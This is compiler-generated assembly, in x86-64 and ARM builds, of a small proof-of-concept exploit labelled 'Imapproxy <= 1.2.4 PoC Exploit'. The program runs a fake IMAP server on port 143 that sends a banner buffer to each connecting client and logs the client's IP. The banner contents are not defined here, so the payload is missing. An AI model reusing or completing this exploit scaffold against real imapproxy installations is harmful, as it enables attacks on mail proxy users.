	.file	"extr_26340.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"Imapproxy <= 1.2.4 PoC Exploit"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"127.0.0.1"
.LC2:
	.string	"IP: %s\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	lea	rdi, .LC0[rip]
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	lea	r12, .LC2[rip]
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	sub	rsp, 56
	.cfi_def_cfa_offset 112
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 40[rsp], rax
	xor	eax, eax
	lea	r14, 12[rsp]
	lea	r13, 28[rsp]
	call	puts@PLT
	mov	edx, DWORD PTR IPPROTO_IP[rip]
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	mov	edi, DWORD PTR AF_INET[rip]
	call	socket@PLT
	mov	edi, 143
	mov	ebx, eax
	mov	eax, DWORD PTR AF_INET[rip]
	mov	DWORD PTR 24[rsp], eax
	call	htons@PLT
	lea	rdi, .LC1[rip]
	mov	DWORD PTR 20[rsp], eax
	call	inet_addr@PLT
	lea	rsi, 16[rsp]
	mov	edx, 12
	mov	edi, ebx
	mov	DWORD PTR 16[rsp], eax
	call	bind@PLT
	mov	esi, 5
	mov	edi, ebx
	call	listen@PLT
	.p2align 4,,10
	.p2align 3
.L2:
	mov	rdx, r14
	mov	rsi, r13
	mov	edi, ebx
	call	accept@PLT
	mov	edi, DWORD PTR 28[rsp]
	mov	r15d, eax
	call	inet_ntoa@PLT
	mov	edi, DWORD PTR BANNER[rip]
	mov	rbp, rax
	call	strlen@PLT
	mov	esi, DWORD PTR BANNER[rip]
	mov	edi, r15d
	xor	ecx, ecx
	mov	edx, eax
	call	send@PLT
	mov	rsi, rbp
	mov	rdi, r12
	xor	eax, eax
	call	printf@PLT
	jmp	.L2
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	SOCK_STREAM,4,4
	.comm	IPPROTO_IP,4,4
	.comm	BANNER,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_26340.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Imapproxy <= 1.2.4 PoC Exploit\000"
	.align	2
.LC1:
	.ascii	"127.0.0.1\000"
	.align	2
.LC2:
	.ascii	"IP: %s\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC3:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, lr}
	ldr	r3, .L6
	sub	sp, sp, #36
	ldr	r0, .L6+4
	ldr	r3, [r3]
	str	r3, [sp, #28]
	mov	r3,#0
	ldr	r4, .L6+8
	bl	puts
	ldr	r3, .L6+12
	ldr	r2, .L6+16
	ldr	r1, [r3]
	ldr	r2, [r2]
	ldr	r0, [r4]
	bl	socket
	ldr	r3, [r4]
	mov	r7, r0
	mov	r0, #143
	str	r3, [sp, #12]
	bl	htons
	mov	r3, r0
	ldr	r0, .L6+20
	str	r3, [sp, #8]
	bl	inet_addr
	mov	r3, r0
	mov	r2, #12
	add	r1, sp, #4
	mov	r0, r7
	str	r3, [sp, #4]
	bl	bind
	mov	r0, r7
	mov	r1, #5
	bl	listen
	ldr	r9, .L6+24
	ldr	r8, .L6+28
.L2:
	mov	r2, sp
	add	r1, sp, #16
	mov	r0, r7
	bl	accept
	mov	r5, r0
	ldr	r0, [sp, #16]
	bl	inet_ntoa
	ldr	r6, [r9]
	mov	r4, r0
	mov	r0, r6
	bl	strlen
	mov	r1, r6
	mov	r2, r0
	mov	r3, #0
	mov	r0, r5
	bl	send
	mov	r1, r4
	mov	r0, r8
	bl	printf
	b	.L2
.L7:
	.align	2
.L6:
	.word	.LC3
	.word	.LC0
	.word	AF_INET
	.word	SOCK_STREAM
	.word	IPPROTO_IP
	.word	.LC1
	.word	BANNER
	.word	.LC2
	.size	main, .-main
	.comm	SOCK_STREAM,4,4
	.comm	IPPROTO_IP,4,4
	.comm	BANNER,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
